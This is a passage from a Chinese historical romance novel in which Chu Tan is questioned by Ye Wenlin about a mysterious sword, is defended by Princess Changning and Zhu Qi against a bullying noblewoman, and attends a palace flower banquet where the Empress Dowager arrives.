叶温凛似乎是第一次遇到这样的事，沉默片刻，“可有被楚姑娘发现？”
这事关女儿家的清白，不宜声张。
“没有，我们小心得很。”青鹰还有些委屈。
“虽然让他跑，但被我伤到要害，估计伤得不轻，一时半会是不会再出现了。”
“确定昨日与你们交手是同一人？”
他查看了所有与柳家的书卷，隐约觉得他们不该是这样的做派。
“身形看着是一人，”青鹰皱眉忆起昨日交手的情形，不敢确定，“不过他的招式与昨日完全不同。”
“好了，你再去，”
叶温凛挥挥手想让他回去，说话间，又看了眼青鹰，难得有些不忍，“你另外找些人去楚家盯着，这种事不能发生第二次。”
“是。”青鹰咬牙切齿地，他咽不下这口气，简直是奇耻大辱！
他是个习武的粗人，但从小跟着叶温凛，也说不出什么难听的话来，就捡着登徒子、不要脸、混账东西这几个词翻来覆去的骂。
“下次要是再让我见到他，我定砍了他的手！”
叶温凛看他这样觉得有些好笑，不过还是轻描淡写地回了他一句，“你先把人抓到再说。”
青鹰：“......”
清晨，楚家大门，有人叩门。
小寇打着哈欠，“谁呀？”
一开门便见到一张有些眼熟的脸。
“你不是昨日送我们回家的那位吗？”
“在下青玉，乃是临阳世子的护卫。”青玉介绍完自己，向小寇说明来意，“我家世子想问楚姑娘一些事，不知楚姑娘可否方便。”
“我......我去问问好吗？”小寇忍住哈欠，也客客气气地回他。
但她拿不准，这大清早的谁方便啊。
“劳烦了。”
睡眼惺忪的楚檀正准备出门，听到小寇的话顿时睁大眼睛，“临阳世子找我？”
京城还在下雨，斜风细雨的倒是不冷。
楚檀跟着青玉来到一座名叫清茗园的茶楼。
这里虽有些偏僻，但胜在安静清幽，是个喝茶的好地方。
楚檀刚踏进茶楼，就闻到室内茶香四溢，让人心旷神怡。
到了二楼，是连成排的厢房。
一处厢房门敞开，还有一位侍从守着。
“楚姑娘，请。”青玉停下，请楚檀进去后也在门外守着。
楚檀进去先是给叶温凛行礼，接着谨慎开口，“不知世子想问小女什么？”
在来的路上，她也想过，临阳世子找她只能是为了那柳枝剑。
“楚姑娘不必拘谨，先请坐。”叶温凛没有回答楚檀的话，先是倒了杯茶水推到她前面，“这是云雾茶，滋味醇厚，请姑娘一品。”
楚檀没喝过，只觉茶水香气宜人，入口甘甜。
小小喝一口便觉惊艳。
叶温凛没错过楚檀眼里的喜欢，扬起笑容，“姑娘可还喜欢。”
楚檀点点头，面上有些犹豫，但还是开了口，“世子可是想问那柳枝剑的事？”
“是，也全是不是。”
这姑娘倒是直接。
“实不相瞒，我奉旨调查，所问之事还望姑娘不要隐瞒。”
叶温凛拿出一块令牌。
“东宫？”楚檀看着刻着字的令牌，一下变得紧张起来，“可是我兄长犯事了？”
“姑娘放宽心，原本是依照惯例询问你家兄长，不过据我所知，他人眼下不在京城，所以才来找楚姑娘的。”
“此事当真与兄长无关吗？”
“想必楚姑娘听令兄说过，有些公事只是不可多说，还请姑娘见谅。”
“遵命。”
“昨日可是令兄安排去的缘诏寺。”
“是，兄长在临走前托我去缘诏寺取一物，我问他具体何时又在哪，他却没有细说，只让我等消息，说到时便知。”
楚檀当时云里雾里的，“我没懂这话的意思，直到前两日兄长托人送来一封信。”
“信？信里写的是？”
“缘诏寺，松树下。”楚檀稍微停顿下，接着又说，“请小妹务必将剑送到世子手上。”
“所以昨日楚姑娘冒着危险也要将柳枝剑带进远乐王府。”
“是，兄长鲜少有事拜托我。”
更何况半年前远乐世子还在京城外救下兄长。
“确定是令兄字迹吗？”
“确定。”
“那除了这些之外，楚姑娘还有没有觉得奇怪的地方。”
“奇怪的地方?”楚檀根本不用想，“要说奇怪，就是这铸剑之人，取一把剑要去缘诏寺，又不见人，哪有人会这样做。”
楚檀很是纠结，“不过兄长一早也说了这是位性子怪异的人。”
“那你可知令兄是如何认识此人的？”
楚檀摇摇头，“从未听兄长说起过。”
“姑娘是在何处拿到剑的？”
“是在月洞门后的左侧小院里，木盒就放在石桌上，世子或许见到过。”
她记得昨日叶温凛是从右侧出来，左右两道走廊相通，那处显眼，叶温凛应该一眼就能看见。
叶温凛眉头紧皱，“我并没有看见有什么木盒。”
“许是世子走时太匆忙，未曾注意到。”
“不是，”叶温凛隐约觉得有些怪，“石桌上确实什么都没有。”
“怎么会？我去时，那里一人都没有，想必早早就放......”楚檀突然就停了下来。
“怎么了？”
“我碰到世子时，当时正下一场大雨。”
“是，有何不妥。”
“可是压着的纸条没有沾上一点雨水，”楚檀觉得奇怪，“就像是刚刚放上去的一样，世子可遇到什么人了吗？”
“没有。”
“那是何时放上去的？”楚檀双手捧着茶杯，泡久的茶水香气越发浓郁，事情也越发古怪。
“既要在我赶到不久前放下，又未曾与世子有过照面，那也就
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只能在我们二人碰见时那会了。”
“可是能做到吗？我拿到柳枝剑时四周并无一人，”楚檀越说越不明白了，“总不能他见我来就越墙跑了吧。”
叶温凛静静听着楚檀述说，知晓楚檀所说并非没有可能。
“许是我记错了，如姑娘所说，是我未曾注意石凳上的木盒。”
他没有让这段话继续下去，转而问起另一件事来，“刚刚姑娘提到的纸条，上面写了什么？”
叶温凛突然的转变让楚檀措手不及。
她神情带着茫然，停顿片刻才回答，“一面写着只要我留下信物就可取走剑，另一面写着如何能将剑柄放在腰间。”
这没什么问题。
叶温凛又接着问了一些小事，楚檀一一作答。
连这些琐事都要堂堂临阳世子过问吗？
楚檀渐渐放松了警惕，只听叶温凛随口一问，“楚姑娘可知令兄为买这件花了多少银两？”
“五两银子。”楚檀说完就后悔了，心想自己何为要着急回答。
太少了。
“五两银子是不够的。”叶温凛喝茶的动作停了下来，语气越发温和，“楚姑娘，我知道你担心令兄，只不过你这么做怕是会弄巧成拙。”
“我，我不知世子这话的意思。”
叶温凛也不知柳枝剑价值多少，只是眼前的人不会说谎。
她说完话目光就往下看，手又紧紧抓住衣角，是在过于明显。
“楚姑娘可能不知，柳枝剑在市面上可是有价无市。”
“单是铸造所用材料就得上千两，这把剑怎么可能只值五俩银子。”
“还是说，楚姑娘是知道令兄买剑的银子来路不明，所以谎称五两银子。”
叶温凛语气依旧温和，楚檀却有被步步紧逼之感，她脱口而出，“不是的，那就是兄长的钱，没有来路不明。”
“那令兄是多少买下来的？”
“五十两。”
面对叶温凛看过来的目光，楚檀硬着头皮说道：“确实是五十两，我这次并未说谎。”
五十两快赶上她爹爹一年的俸禄了。
当初为兄长凑出这五十两她还费了不少劲。
“我知道与世子方才所说相差甚远，可兄长说的确实是五十两银子，”楚檀越说越小声，“这其中还有我的五两呢。”
“姑娘不必紧张，我并未怀疑你，而且我想想问的事已经问完。”
“今天除了来问楚姑娘关于柳枝剑的事，还有另外一事。”
“什么？”楚檀绷紧的心弦一下拉得更紧了。
她已经想不到叶温凛还有什么事要问了。
叶温凛看着楚檀一幅如临大阵的模样，缓缓将手中的妆匣递过去，“昨日情急下用了姑娘的簪子，这是在下的赔礼，请姑娘笑纳。”
“楚檀不能收，”她松了口气，接着摇头拒绝，“这连倚楼的首饰价值不菲，太过贵重，就算是这妆匣也比我那银簪值钱。”
“再说那簪子能被用来救人也算物有所用，世子不必多礼。”
“是我考虑不周了，”叶温凛也没强求，将银簪收回，“方才所提的书信可方便让我看看？”
“方便的，我回家去取来。”
“不好再劳烦楚姑娘了，让青玉随姑娘回去。”
“好。”楚檀起身后，还想求一丝心安，便鼓起勇气问，“世子可知昨日为何会有禁军在？”
虽然昨日萦绕在楚檀心头的困扰被解开，不过楚檀脸上的笑意变得有些勉强。
她果然闯祸了!
待楚檀欲哭无泪地走后，叶温凛让人重新上壶茶，“人已经走了，下来吧。”
5. 送信
祝辛楼大大咧咧倒挂在窗户上，抱着手问，“你怎么知道是本世子？”
“你怎么来了？”叶温凛给自己倒了杯茶后起身，“你下来，这样成何体统。”
“怎么就不成体统了，”祝辛楼明显对叶温凛的教训不屑，“本世子方才在路上瞧见看到青玉带着楚檀妹妹，一时觉得新奇就跟过来了。”
祝辛楼拿到剑后一直忙于练剑，直到那阵欣喜过后才察觉事情不对。
本想找楚檀问个明白，没想到竟然被叶温凛登先一步。
“你不怕？”
“谁怕了？！”
祝辛楼六岁时从屋顶摔下来，被勒令不能再上高处。
“你再不下来我就关窗了。”
看着叶温凛走过来，祝辛楼还是跳了下来，“叶温凛啊叶温凛，你实在不知情趣，这一大清早的，居然带人来茶楼。”
被个木头桩子说不通情趣，叶温凛无动于衷，“听完了就赶紧回家。”
祝辛楼当做没听见，自顾自地问，“她说那把剑五十两银子，你信吗？”
“你不信？”
“那把柳枝剑怎么能只值五十两！”
那不是侮辱剑吗？
“要是楚遇就是用五十两买下来了的呢？”
“......”
“那楚遇兄面子还挺大。”
“你对这楚遇有多少了解？”
“我认识他两年了，虽不是知根知底，但我能肯定他是不错的人。”
“此人心思单纯，不善言语，就只爱武。”
祝辛楼又加了一句，“本世子保证他绝对没问题，不然也不会邀请他了。”
见叶温凛不说话，似乎是不相信他的话，祝辛楼继续滔滔不绝。
“本世子可是真心把他当成朋友的，要不是你成日里待在太子身边不见人影，我早就介绍你们认识了。”
“你定能与他成为好友，”祝辛楼一顿，还是把话说了出来，“你得相信本世子看人的眼光。”
“是吗？”
他更怀疑了。
上年祝辛楼给他引荐的公子可闹出不少事。
其人表面风光月霁，可暗地里却做起拐卖妇女的勾当。
“真的！”
“好了，”叶温凛不想旧事重提，“我只是很好奇他是怎么认识消失多年的柳家人？”
“本世子也很好奇。”
要是让他知道柳家人在哪，迟早把人请回来帮他铸剑。
叶温凛靠在窗户，望着街道上楚檀越来越小的身影陷入了深思。
*
楚檀回到家中就把信纸都交给了青玉。
没过多久又出门了。
她实在担心兄长，他已三四日没有归家，以往也有这种情况，可昨日发生的事，加上今日临阳世子的问话，都让她提心吊胆。
她放心不下，去了大理寺，没想到被一句‘官府办事，莫要打听’就给打发了。
楚檀越发不安，紧紧揣着信，萎靡不振地往太史局方向走。
她只知晓爹爹去了一个叫石头村的地方，但具体在哪不甚清楚，原本打算趁官员未上值时，去太史局门口蹲守与爹爹相熟的王大人。
却不想临阳世子突然来访，打断了她的计划，如今只能硬着头皮请值守的人帮忙。
没等多久就有一位额头圆满，一脸福相的中年男子出来，“我听他们说有人找我，原来是小檀啊，找我有何事？”
“王大人，”楚檀礼貌问道：“我来是想问问，您可知我父亲何时能归家？”
“这我也不知，你父亲事务繁杂，收集完文书自会归来。”
楚父属太史局下的太史局丞，主要是负责整理地方典籍，常常外出去各地。
“那您可知我父亲是去了哪儿？”
“听说是去了一个叫石头镇的地方，来回便要个五六日，我估摸着你父亲才刚到没多久，你且在家耐心等。”
王大人知道楚檀无事很少来太史局，不由得问道，“你问这些，可是家中出事了？”
“无事，多谢王大人关心，”楚檀连连摆手，“楚檀只是颇为想念父亲，想要寄封书信。
“如此啊，你且在这等我，我这就给你找去，”王大人听了楚檀的话拖着胖胖的身子回去了。
得知了确切的位置，楚檀立刻前往镖局。
寄了信也好请爹爹告知她如何做，二来也是希望爹爹能给她报个平安。
她心神不宁，只管埋着头走路，根本没注意到不远处的人。
“这不是楚家妹妹吗？”有一女子拦住了楚檀的去路，“怎么这般生疏，也不同我打招呼。”
眼前的女子五官柔和，那一双眼睛含水含烟，让整个人看起来柔柔弱弱。
可楚檀看到这位只觉吓人，她不情不愿地停下，“谢夫人。”
贺知兰，楚父顶头上司的小女儿，与楚檀同岁。
三年前嫁给礼部尚书的嫡子谢允行为妻。
与柔和的面相相反，贺知兰的性子恶劣至极，昔日在学堂被欺负的景象历历在目，她实在不想与之周旋。
“听说你昨日去了远乐王府，里面发生何事？说来听听。”
贺知兰吩咐的语气一如既往，眼神里尽是轻视，仿佛想不通楚檀怎么攀附上远乐王府的。
“无事发生，远乐世子的冠礼一切如常。”楚檀不想理她，也不想多事。
“这样吧，只要你说了，我定帮你找个好人家，你也知道我身旁都是些达官显贵，定能让你高嫁，怎么样？”
要不是她夫君在打听这件事，她才不会这么客气跟楚檀说话。
“多谢夫人好意，不过婚姻之事，乃是父母之命媒妁之言，我是做不了主的。”
三年不见，依旧惹人厌。
“谢夫人，我家中还有事，就先行离开了。”
“你给我站住，说了你可以走的吗？”贺知兰声音变尖，“趁我现在还能好声好气和你说话，老老实实地说完昨日发生的事，别给脸不要脸。”
贺知兰的身量与楚檀相差不大，却仍要半眯着眼仰头往下看着楚檀。
一向性子软的楚檀遇到贺知兰总会有莫名的气恼，她忍下心中郁闷，僵硬地拒绝，“还请谢夫人不要为难我。”
“你别忘了，我是谢家夫人，也还是贺家小姐，你可想清楚了，你父亲还在我父亲手下做事。”贺知兰毫不掩饰她的不耐烦，语气满是威胁。
面对贺知兰再次的刁难，楚檀也不愿多讲。
场面就这么僵持着。
她们正处在镜倚楼附近，来往的人甚多，有些爱看热闹的人还不停嘀嘀咕咕。
贺知兰的威胁，旁人的指点，这都让她浑身不适，正在她想法子要如何避开时，就传来一道清冷凌厉的女声。
“谢夫人真是好大的口气。”
只见一丽人被一群侍女围着走了过来，一双丹凤眼似笑非笑，脸有些消瘦，却丝毫不减高贵威严。
“参见长宁公主。”
“都起来吧。”
来人正是屹国的长宁公主顾斐然，乃当今圣上第一个孩子，集万千宠爱，所享荣华富贵也不比太子少。
“方才吵吵闹闹作甚？”
“妾身正想邀楚檀妹妹去我家玩呢，”贺知兰一改态度，轻声细说对着公主控诉，“可不想楚檀妹妹竟不给面子，不愿去。”
“不怪她会拒绝，她受本宫所邀来此挑选首饰。”顾斐然冷冷扫了一眼，语气依旧清冷。
贺知兰微微往后一缩。
楚檀不知所措地站在那里，也不敢多说话。
贺知兰又继续端起笑，凑到公主身前，捂着嘴看了眼楚檀，“楚妹妹不懂这些的，还是由妾身陪您吧。”
“谢夫人听不懂话吗?”顾斐然瞥了眼贺知兰，冷冷开口，说完转身走向镜倚楼。
“是妾身失礼了。”
贺知兰嘴上说着失礼，可眼神还是跟着顾斐然。
“谢夫人看什么？”这时顾斐然身后的黄衣女子拉过楚檀往前走，挡在贺知兰前面。
像是故意气她一样：“你又不参加明日的赏花宴，”
贺知兰听到赏花宴时脸都黑了，语气又惊又气，转过头来对着楚檀喊道，“你凭什么去赏花宴？”
楚檀：“......”
她也不知。
不过令她她更不解的是贺知兰，她为何如此气急败坏，以往的她面对达官显贵一向沉得住气。
今日不过是身旁女子提了一句赏花宴，怎么这般失态？
“是啊，怎么样？”黄衣女子抬着下巴看向贺知兰，说完还略带心虚地看一眼顾斐然。
“还不赶紧进来。”
“来了来了。”黄衣女子也不管贺知兰，拉着楚檀跑了。
“本宫不喜人多，谢夫人就不必跟来了。
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”
贺知兰还带着那副笑，“那妾身先失陪了。”
“多谢公主替小女解围。”
楚檀二丈摸不着头脑，她与长宁公主素不相识，为何要帮她？
“你不必谢我，该谢她，”顾斐然道，“是她吵着要过来帮你。”
楚檀顺着顾斐然的话看向黄衣女子，黄衣女子见她望过来，圆润的杏眼弯成月牙。
“我在远乐王府上见过你。”
“我叫祝绮，你叫什么？”
“小女子楚檀，方才也多谢祝姑娘了。”
原来是远乐王府的人。
不过也没道理。
“祝姑娘为何帮我？”
“你可是我七哥唯一请来的朋友，他的朋友就是我的朋友。”
祝辛楼在族中排七，祝绮喊他一声七哥。
祝绮自小就与贺知兰交恶，她一向见不惯她仗势欺人，更何况她对楚檀满是好奇，
“你是怎么和七哥认识的？”
“我先前并不认识世子，昨日是兄长请我帮忙我才去的。”
“啊？这样啊。”
“好了，还看不看首饰了？”顾斐然打断他们的对话，把一对金镶玉兰花耳坠放在祝绮耳边，很是满意。
“快看看这些有没有喜欢的。”
镜倚楼里的首饰琳琅满目，直叫人看花了眼，可惜楚檀的心思不在这，她一心想要去镖局寄信。
“楚姑娘，你觉得这个簪子如何？”长宁公主拿起一簪子，问起楚檀来。
“很好看，不艳不俗，得体适中。”楚檀看着那发簪如实说道。
这发簪簪头雕刻的莲花栩栩如生，花瓣层层，金丝线打造的花蕊在其中若隐若现。
“不愧是长公主，好眼光，这虽是银器打造，但更考验手艺，这般精细的发簪可是花了好几日才做成。”
一旁的掌柜对此很是骄傲，“现下就剩下这一支了。”
“我也觉得好看，”祝绮简单回答，“而且很适合楚姑娘。”
“我戴着不好，祝姑娘比我更适合。”
楚檀暗忖，这镜倚楼的首饰皆是高价，就她手里头那点银钱，只够用来寄信，哪里高攀得上这。
“是吗？”
祝绮听了楚檀的话，大展笑颜，晃动着顾斐然的手。
“嫂嫂，这簪子可否让给我？”
长公主的驸马林佑乃是祝绮的表哥，她私底下不唤殿下，总觉生疏。
“你这说得什么话，原本就是帮你来挑选的。”
长公主是见多了珠冠佩饰，没用多久就帮祝绮选好。
“楚姑娘，给。”
祝绮把那发簪塞到楚檀怀里。
“我不能要。”楚檀连忙把怀里的状匣还了回去。
她纳闷至极，怎么一个两个都想送她簪子？
“你收着，我就想结交你这个朋友，”祝绮抱着妆匣，脸上浮现一丝失望，“你不要，可是不想？”
“我不是这个意思。”
楚檀冤枉，不过见了一次面，怎能收这么贵重的礼物。
“收着吧。”
顾斐然看着两人来回拉扯，开口劝道，“你要觉得不妥，下次便送她个小物件。”
“是。”
有了长宁公主开口，楚檀不好再拒绝。
楚檀抱着那妆匣，无语凝噎。
这发簪！
与今早临阳世子拿出来的一模一样！
楚檀无奈赶去镖局，她来回抚摸着手中妆匣，怎么也想不出要送祝绮什么。
直至寄完信归家，她还没想出个好主意来。
蹲坐在门口的小寇见她归来，提起食盒，献花似地递到楚檀眼前。
“姑娘，杏花楼的点心！”
“你打哪来的？”
“昨日送咱们回来的侍卫小哥，是他给的，说是他家世子给姑娘赔礼。”
“.......”
“姑娘，不能吃吗?”
“能吧。”
楚檀看着食盒里各色各样的点心，决定将烦心事抛之脑后，“再去准备些茶来。”
“好勒。”
“叩叩...”
吃饱喝足的两人正在小院里消食，说说笑笑间，听见门口传来敲门声。
院里声音戛然而止。
楚檀停下脚步，与小寇面面相觑。
又是谁来敲门？
6. 赏花宴
楚檀没想到长宁公主真会送来请帖。
她原以为邀她去赏花不过是祝绮的说辞。
楚檀不想去，上次在远乐王府的遭遇还历历在目，这春日宴在她看来就像是一滩浑水，她丝毫不想踏进去。
只是，
她没有胆子不去啊！
*
泉水潺潺，花姿潇洒。
山川园。
长宁公主名下一座栽种百花的庄园。
要说昨日楚檀还不愿来这宴会，今日处在花海中的她倒是乐在其中。
如果不是来往打量她的人太多，她或许会更快意些。
楚檀压下心中的不适，就在她告诉自己不要在意时，耳边传来一声清脆的声音。
“你是何人？”
说话的人眉眼精致，一身红色衣裙炫眼夺目，艳丽惊人。
望惜月上下打量着楚檀，此女一身服饰平庸，想来不是什么名门闺秀。
楚檀看着眼前容貌出众的女子，觉得她声音甚是好听。
“小女楚檀，还是第一次来此。”
“楚檀？”
望惜月听到名字心里有底。
京城里没有楚姓世家。
她这样想着，再开口也不像刚才那般友好。
“你父亲是何人？”
“家父属太史局下的太史局丞。”
又是这样。
今日已不止一人问起她父亲是何人，又在何处任职了。
“太史局？原来是个九品小官。”
少女嫌弃地看了眼楚檀，声音一下开始变得刻薄，“长宁公主怎么会宴请些末流之女。”
说着抬脚就从楚檀身旁走过。
楚檀低头叹气，有些消沉。
她昨日提议让小寇去打听了。
今日这宴会虽打着赏花的名头，实则是为太子挑选太子妃而办。
太子妃事关重大，她确实不能够出现在这。
这里的公子小姐她都不认识，除却昨日，楚檀也已经很久没有和这样身份的人相处了。
她真不知该怎么面对这样的场面。
楚檀在心里直叹气，可别再来一次了，把她晾在一旁，让她静静待着多好。
“你作何这么愁眉苦脸？”祝绮趁着楚檀走神时从侧面猛地拍了拍她。
楚檀被突如其来的动作吓了一跳，待看到来人后重展笑颜，指着眼前的花说道：
“没事，就是不认识这花。”
“嗯......”祝绮疑惑地把话音拖着长，看向那还未开放的花苞，抓着头发有些讪讪，“这是......大概是兰花吧。”
“这是木槿花。”一旁的祝辛楼说着还故意扬起下巴，声音都提高了几分。
“这是景州木兰花。”叶温凛自祝辛楼身后款款而出，一身官绿色长袍衬得人挺拔修长。
声音平缓有劲，眉眼间全是温和之意。
“这......”
这是什么花都不重要的。
“这明明就是木槿花。”祝辛楼面对叶温凛的反驳很不服气。
“这就是景州木兰花，你不懂就别装懂。”
与叶温凛一同来的还有位锦衣男子，他冷冷的瞥了一眼祝辛楼，轻蔑至极。
“温玄。”叶温凛出声制止，“不得无礼。”
“临阳世子。”
楚檀跟着祝绮一同躬身行礼。
“这位是我二弟，叶温玄。”
“这位是楚檀楚姑娘。”
他将两人简单介绍一番，待俩人相互认识后，笑着问向楚檀。
“楚姑娘怎会在这？”
祝辛楼也是一脸纳闷。
说实话，这不是楚檀能来的地方。
“我与那些娇娇小姐哪有话说，无聊得紧，昨日路上遇见阿檀就求着长宁公主邀她来了。”
祝绮明显不想待在这，还不等楚檀开口，她就抢先一步解释完了。
叶温凛派出的人还在楚家守着，昨日分开后的事他自是知晓。
本来也就是这么随口一问。
这时的叶温玄忍不住出声呛她，“让你多读些书，别像你七哥一样整天舞刀弄剑。”
楚檀在一旁小心翼翼地惊讶。
这临阳王府的二公子与世子秉性如此不同，一句话就能得罪两人。
祝辛楼更不服气了，“舞刀弄枪怎么了？”
要不是昨日他父亲耳提面命，让他在此行事低调些，不然他哪能咽下这口气。
即使叶温玄说话难听，祝绮也当做没听见一般，她凑到楚檀耳边问她，“阿檀，你既是一人，不如我一起？”
祝绮远远就见她独自赏花，还受那望惜月的刁难。
她可不能让受她之邀的楚檀再受委屈。
剑楚檀点头，祝绮把祝辛楼推到叶温凛身边，“七哥，你就和临阳世子他们一起。”
“临阳世子博才多学，见识广，你要还有不认识的都可以问他。”
“阿檀我们走。”
被拉着的楚檀似乎察觉到祝绮的不对劲，回头悄悄看了眼叶温玄。
见他满脸是被无视后的恼怒。
视线又与目送她们离开的叶温凛相撞，那双眼睛依旧温润，毫无波澜。
楚檀对着叶温凛微微颔首。
她心想，跟着祝姑娘，应该不会被人来回打量了吧。
楚檀极不喜被人围观。
方才叶温凛他们一到，楚檀就清楚地感受到来自四面八方的注视。
也难怪，三位翩翩公子站在一起，着实养眼。
不多时，皇后携太子和长宁公主一同入场。
楚檀远远望着，只见皇后娘娘面若芙蓉，裙装淡雅，没有一点皇后娘娘的架子。
而长宁公主身边的太子殿下一袭玄色锦袍，剑眉入鬓，棱角分明的脸不见一丝笑颜。
“启儿，你看看，可有中意的姑娘？”
“母后您来决定就是了。”
看不看都无所谓，反正就是那几个。
“这怎么可以？”皇后把他的不在乎看在眼里，心里升起些苦涩，“毕竟是与你相伴一生的女子，你来瞧瞧又何妨。”
“有母后掌眼，儿臣放心。”
太子顾承启入座后望着三五成群的女子，烦躁得很。
原本东宫的事务繁忙，他实在不愿把时间浪费在这里。
“你皇姐以前就......”皇后提到公主，声音有些哽咽。
想当初，朝中局势逼得她的女儿不得不嫁给了不爱之人，现如今他们手中已握有一半皇权，她的儿子，也难以选择自己喜欢的人。
长宁公主看着母亲望过来的眼眸开始带着泪花，不由得压力甚大，轻声开导她，“母后，斐然现如今过得很好。”
长宁公主时常会想，自己母后如此多情善感，这么多年来是怎么在宫中生存下来的？
“怎么好了？他连下棋都下不过你！”皇后心中始终有气，对长宁公主的驸马怎么都不满意。
“驸马他自有他的长处。”长宁公主哭笑不得，赶忙把正事搬上来，“这赏花宴就等母后来，您这样可要吓到那些姑娘家了。”
“好好好，快开始吧。”
待安慰好母后，长宁公主下来对众人说道：“此次本宫邀诸位来，就是不想让这满园的春色无人欣赏，请大家随意观赏随意玩。”
话虽然这么说，但谁人不知今日这赏花宴是为太子选妃而办，所有人都卯着一股劲，想要一争高下。
此时的礼部尚书的女儿大胆站出来，向皇后甜甜提议，“臣女倒是有个想法，不知皇后娘娘可否听一言？”
“准了。”皇后笑容可掬地让她继续说下去。
“今日到场的诸位都是
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才子佳人，那我们为何不行‘飞花令’来助助兴？”
“好主意。”皇后点头许可。
“多谢皇后娘娘。”
“既如此，那我们先来个简单的，以“花”字为令，不拘诗词。”
众人纷纷赞同。
在角落的祝绮兴味索然，低声对着楚檀道：“我就不陪同了，阿檀你呢？”
楚檀一脸郝然，边摇头边说：“我不善诗词，不会玩。”
“那我们溜走吧？”
楚檀心虚又小声地回答道：“这不妥吧。”
皇后娘娘和太子都在呢。
“没关系的，这里人这么多，没人会注意到我们。”
“还是不了。”
楚檀不敢走，祝绮又不想把她一人扔在这。
俩人就这么陷入僵局。
就在祝绮楚檀两人拉扯间，望惜月不知何时出现在她们面前，挑衅地说道：“祝小姐这是要去哪啊？”
祝绮看到望惜月就只知道走不了了，索性破罐子破摔，“我能去哪？当然是去前头一睹诸位风采了。”
“是吗？我还以为祝小姐想要逃跑呢，既然这样，那赶紧走啊。”
望惜月一幅看好戏的样子，她与祝绮师从同一人，能不知道她有几斤几两。
就她祝绮，能念几句诗来？
果不其然，在一众饱读诗书的闺秀中，她们不过第二局就败了来。
按规定，输了的人要罚酒一杯。
祝绮喝完自己的酒后还要将楚檀那杯截下，不过楚檀没有让祝绮代喝。
她自己会酿酒，酒量虽不是多好，但也不差。
更何况只是一杯果酒而已。
喝了罚酒的楚檀倒是一身轻松，要是真跟祝绮走了，怕是今日都得提心吊胆。
作为旁观者，楚檀倒是觉得这飞花令有意思极了。
她不留痕迹地寻个地方静静待着，这处可赏花，也可......看人。
祝绮把比她们还要早下来了的祝辛楼也拉到这里，“七哥七哥，你觉得谁会赢？”
祝辛楼一脸理所当然：“当然是温凛。”
“阿檀你觉得呢？”
“临阳世子吧？”楚檀跟着祝辛楼说道。
世人都道临阳世子学识渊博，她也观叶温凛一脸神闲气定，不似旁人要绞尽脑汁才对上一句。
“我觉得不一定。”祝绮手肘碰了碰身旁两人，一脸狡黠，“要不咱们来赌一赌？”
“赌就赌？你想赌什么？”
祝辛楼对叶温凛很有信心。
“输了的人今日就得喝一坛酒。”祝绮不知楚檀能不能行，“阿檀你可以喝半坛。”
楚檀：“......”
“我也可以喝一坛。”
“楚檀妹妹不要勉强。”祝辛楼拍着胸脯保证，“不过也没事，赢得人肯定是温凛。”
祝绮不这么觉得，今日太子都来了，叶温凛怎么可能会让哪些个姑娘丢脸。
三人边商量着要如何罚酒边看叶温凛对诗。
观到后头，他们在底下早已无声。
台上人念出来的诗词，别说背下来，许多他们听都没听过。
“小松初数尺，未有直生枝。”
“惟颂之植，与涧之幽。”
“孤松手自植，保此贞且固。”
又是些晦涩难懂的诗。
祝绮僵硬地转过头对着祝辛楼说道：“七哥，你是怎么和叶世子做成朋友的？”
那眼神似乎在说：你何德何能？
楚檀听见这话也转过头来，看眼神颇为赞同。
祝辛楼开始翻起白眼来，“你就等着喝一坛子酒吧。”
太子在上面看着众人苦不堪言的表情，没了来时的沉闷，他刚想开口说些什么，就听到有内侍的声音传来。
“太后娘娘驾到。”
7. 赐婚
众人惊奇诧异，太后怎么来了？
园内之人纷纷跟随皇后太子至门口迎接。
在众多内侍与宫女的簇拥下，太后至软轿下来。
只见太后头戴龙凤冠，着一珠串滚边霞帔，朱色沉重，不怒自威。
“皇祖母。”
“母后，”皇后行至太后身旁扶着她，“您怎么来了？”
“皇后能来，哀家就不能来吗？”
“母后说的什么话。”
“母妃是担心皇祖母罢了，这山川园离皇宫颇远，您来此不易。”长宁公主也走到太后身旁。
只有太子在行礼之后默默不说话。
一行人来到方才的小亭，坐下后，太后对众人笑道：“哀家也是闲来无事，过来赏赏花，可别打扰诸位雅兴了。”
太后挥手让人都散了，“你们该怎么玩就怎么玩啊。”
太后见那些个公子小姐都散了，转头对顾斐然说道，“这山川园果然如他们所说水石清华。”
说着拍拍顾斐然的手，“长宁费心了。”
“斐然多谢皇祖母夸奖。”顾斐然莞尔一笑，在太后面前，她敛去不少锋芒。
楚檀又回到刚刚赏花的地方，看着眼前的猩红的花朵，早已没了刚刚的闲情逸致。
她有些担心，太后来了，会不会也会有人前来刺杀？
毕竟这里这么多达官显贵，话本子里就爱这么写。
“阿檀，你在想什么呢？这么出神？”祝绮歪着头问。
楚檀被祝绮悄无声息地到来吓了一跳，支支吾吾地，又还是用了同样的借口，“没想什么，就是不认识这花。”
这回轮到祝绮支支吾吾了，她也不识。
看着再次被难倒的祝绮，楚檀有些不可思议。
原来自己的没见识还可以这么用。
“这是胭脂海棠。”
温润的声音，解答之人还是叶温凛。
“......”
怎么回事，方才的场面又重新上演了。
“胭脂海棠？”楚檀觉得这个名字有些耳熟，“我好像是在书里见过。”
“姑娘读的可是《百花记》？”
“是，”楚檀点点头，想了起来，“难道世子也读过吗？”
“读过，编写此书之人文采斐然，但不讲究辞藻，很有趣。”
“我也这么觉得，”楚檀还是头一次和人讨论起这本书，一高兴，话多了起来，“而且他的画也好，我还临摹过，”
她边说边摇头，“只是那画看起来寥寥几笔，却极有神韵，难以模仿。”
“楚姑娘很喜欢这本书？”
“喜欢。”楚檀重重点头。
在一旁的祝绮没开口打扰，不止祝辛楼，他们远乐府上下就没有一个爱读书的人。
就在她闲着无聊时，一宫女走了过来。
“祝姑娘，太后请您过去，”说着目光转向楚檀，“还有旁边这位姑娘。”
楚檀闻言震惊，开口结结巴巴问道：“我吗？”
一旁的叶温凛诧异地扬扬眉，“这位姑姑，敢问太后请楚姑娘过去所为何事？”
“这个奴婢就不知了，”宫女对此闭口不谈，朝着楚檀她们作揖，“还请两位姑娘跟奴婢来。”
“阿檀，别怕，”祝绮看着惊慌的楚檀，拉过她的手在她耳边小声安慰道，“太后不会为难你的。”
太后只会难为她。
楚檀看了眼祝绮，又看了眼叶温凛，见他冲她颔首，楚檀稍微放心些。
她跟着宫女来到太后面前，两人很是恭敬。
“臣女拜见太后娘娘。”
“你起来吧。”太后慵懒地靠坐着，虚虚指着楚檀。
楚檀起身时和祝绮面面相觑。
“皇祖母！”顾斐然见太后有意为难，撒娇似地喊道。
“好了好了。”
顾斐然闻之，用眼意示祝绮起来。
“喜欢什么花？”
